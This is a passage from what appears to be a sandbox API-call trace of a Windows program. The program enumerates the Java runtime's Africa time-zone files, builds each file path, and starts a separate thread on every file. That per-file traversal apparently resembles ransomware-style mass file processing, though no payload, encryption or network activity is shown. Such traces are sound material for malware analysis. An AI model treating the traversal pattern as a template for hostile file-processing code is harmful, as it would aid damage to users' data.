_String2=".") returned 1 [0158.162] wcscmp (_String1="Blantyre", _String2="..") returned 1 [0158.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebee00 [0158.162] wcscpy (in: _Dest=0x1cebee00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.162] wcscat (in: _Dest=0x1cebee00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.162] wcscat (in: _Dest=0x1cebee00, _Source="Blantyre" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre" [0158.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebee00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23ac [0158.163] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brazzaville", cAlternateFileName="BRAZZA~1")) returned 1 [0158.163] wcscmp (_String1="Brazzaville", _String2=".") returned 1 [0158.163] wcscmp (_String1="Brazzaville", _String2="..") returned 1 [0158.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cebee80 [0158.163] wcscpy (in: _Dest=0x1cebee80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.163] wcscat (in: _Dest=0x1cebee80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.163] wcscat (in: _Dest=0x1cebee80, _Source="Brazzaville" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville" [0158.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebee80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d98 [0158.164] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bujumbura", cAlternateFileName="BUJUMB~1")) returned 1 [0158.164] wcscmp (_String1="Bujumbura", _String2=".") returned 1 [0158.164] wcscmp (_String1="Bujumbura", _String2="..") returned 1 [0158.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebef00 [0158.164] wcscpy (in: _Dest=0x1cebef00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.164] wcscat (in: _Dest=0x1cebef00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.164] wcscat (in: _Dest=0x1cebef00, _Source="Bujumbura" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura" [0158.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebef00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d94 [0158.165] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cairo", cAlternateFileName="")) returned 1 [0158.165] wcscmp (_String1="Cairo", _String2=".") returned 1 [0158.165] wcscmp (_String1="Cairo", _String2="..") returned 1 [0158.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebef80 [0158.166] wcscpy (in: _Dest=0x1cebef80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.166] wcscat (in: _Dest=0x1cebef80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.166] wcscat (in: _Dest=0x1cebef80, _Source="Cairo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo" [0158.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebef80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d80 [0158.167] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casablanca", cAlternateFileName="CASABL~1")) returned 1 [0158.167] wcscmp (_String1="Casablanca", _String2=".") returned 1 [0158.167] wcscmp (_String1="Casablanca", _String2="..") returned 1 [0158.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cebf000 [0158.167] wcscpy (in: _Dest=0x1cebf000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.167] wcscat (in: _Dest=0x1cebf000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.167] wcscat (in: _Dest=0x1cebf000, _Source="Casablanca" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca" [0158.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d74 [0158.168] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ceuta", cAlternateFileName="")) returned 1 [0158.168] wcscmp (_String1="Ceuta", _String2=".") returned 1 [0158.168] wcscmp (_String1="Ceuta", _String2="..") returned 1 [0158.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebf080 [0158.168] wcscpy (in: _Dest=0x1cebf080, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.168] wcscat (in: _Dest=0x1cebf080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.168] wcscat (in: _Dest=0x1cebf080, _Source="Ceuta" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta" [0158.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d78 [0158.169] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Conakry", cAlternateFileName="")) returned 1 [0158.169] wcscmp (_String1="Conakry", _String2=".") returned 1 [0158.169] wcscmp (_String1="Conakry", _String2="..") returned 1 [0158.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cebf100 [0158.170] wcscpy (in: _Dest=0x1cebf100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.170] wcscat (in: _Dest=0x1cebf100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.170] wcscat (in: _Dest=0x1cebf100, _Source="Conakry" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry" [0158.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe60 [0158.171] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dakar", cAlternateFileName="")) returned 1 [0158.171] wcscmp (_String1="Dakar", _String2=".") returned 1 [0158.171] wcscmp (_String1="Dakar", _String2="..") returned 1 [0158.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebf180 [0158.171] wcscpy (in: _Dest=0x1cebf180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.171] wcscat (in: _Dest=0x1cebf180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.171] wcscat (in: _Dest=0x1cebf180, _Source="Dakar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar" [0158.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2300 [0158.172] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dar_es_Salaam", cAlternateFileName="DAR_ES~1")) returned 1 [0158.172] wcscmp (_String1="Dar_es_Salaam", _String2=".") returned 1 [0158.172] wcscmp (_String1="Dar_es_Salaam", _String2="..") returned 1 [0158.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb6e80 [0158.172] wcscpy (in: _Dest=0x1ceb6e80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.172] wcscat (in: _Dest=0x1ceb6e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.172] wcscat (in: _Dest=0x1ceb6e80, _Source="Dar_es_Salaam" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam" [0158.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb6e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22fc [0158.174] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Djibouti", cAlternateFileName="")) returned 1 [0158.174] wcscmp (_String1="Djibouti", _String2=".") returned 1 [0158.174] wcscmp (_String1="Djibouti", _String2="..") returned 1 [0158.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebf200 [0158.174] wcscpy (in: _Dest=0x1cebf200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.174] wcscat (in: _Dest=0x1cebf200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.174] wcscat (in: _Dest=0x1cebf200, _Source="Djibouti" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti" [0158.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c [0158.175] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Douala", cAlternateFileName="")) returned 1 [0158.175] wcscmp (_String1="Douala", _String2=".") returned 1 [0158.175] wcscmp (_String1="Douala", _String2="..") returned 1 [0158.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cebf280 [0158.175] wcscpy (in: _Dest=0x1cebf280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.175] wcscat (in: _Dest=0x1cebf280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.175] wcscat (in: _Dest=0x1cebf280, _Source="Douala" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala" [0158.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a4 [0158.177] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="El_Aaiun", cAlternateFileName="")) returned 1 [0158.177] wcscmp (_String1="El_Aaiun", _String2=".") returned 1 [0158.177] wcscmp (_String1="El_Aaiun", _String2="..") returned 1 [0158.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebf300 [0158.177] wcscpy (in: _Dest=0x1cebf300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.177] wcscat (in: _Dest=0x1cebf300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.177] wcscat (in: _Dest=0x1cebf300, _Source="El_Aaiun" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun" [0158.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0158.178] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Freetown", cAlternateFileName="")) returned 1 [0158.178] wcscmp (_String1="Freetown", _String2=".") returned 1 [0158.178] wcscmp (_String1="Freetown", _String2="..") returned 1 [0158.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebf380 [0158.179] wcscpy (in: _Dest=0x1cebf380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.179] wcscat (in: _Dest=0x1cebf380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.179] wcscat (in: _Dest=0x1cebf380, _Source="Freetown" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown" [0158.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de8 [0158.180] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaborone", cAlternateFileName="")) returned 1 [0158.180] wcscmp (_String1="Gaborone", _String2=".") returned 1 [0158.180] wcscmp (_String1="Gaborone", _String2="..") returned 1 [0158.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebf400 [0158.180] wcscpy (in: _Dest=0x1cebf400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.180] wcscat (in: _Dest=0x1cebf400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.180] wcscat (in: _Dest=0x1cebf400, _Source="Gaborone" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone" [0158.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc4 [0158.181] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harare", cAlternateFileName="")) returned 1 [0158.181] wcscmp (_String1="Harare", _String2=".") returned 1 [0158.181] wcscmp (_String1="Harare", _String2="..") returned 1 [0158.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cebf480 [0158.182] wcscpy (in: _Dest=0x1cebf480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.182] wcscat (in: _Dest=0x1cebf480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.182] wcscat (in: _Dest=0x1cebf480, _Source="Harare" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare" [0158.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dbc [0158.182] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Johannesburg", cAlternateFileName="JOHANN~1")) returned 1 [0158.182] wcscmp (_String1="Johannesburg", _String2=".") returned 1 [0158.183] wcscmp (_String1="Johannesburg", _String2="..") returned 1 [0158.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1cf5e600 [0158.183] wcscpy (in: _Dest=0x1cf5e600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.183] wcscat (in: _Dest=0x1cf5e600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.183] wcscat (in: _Dest=0x1cf5e600, _Source="Johannesburg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg" [0158.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da8 [0158.184] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, 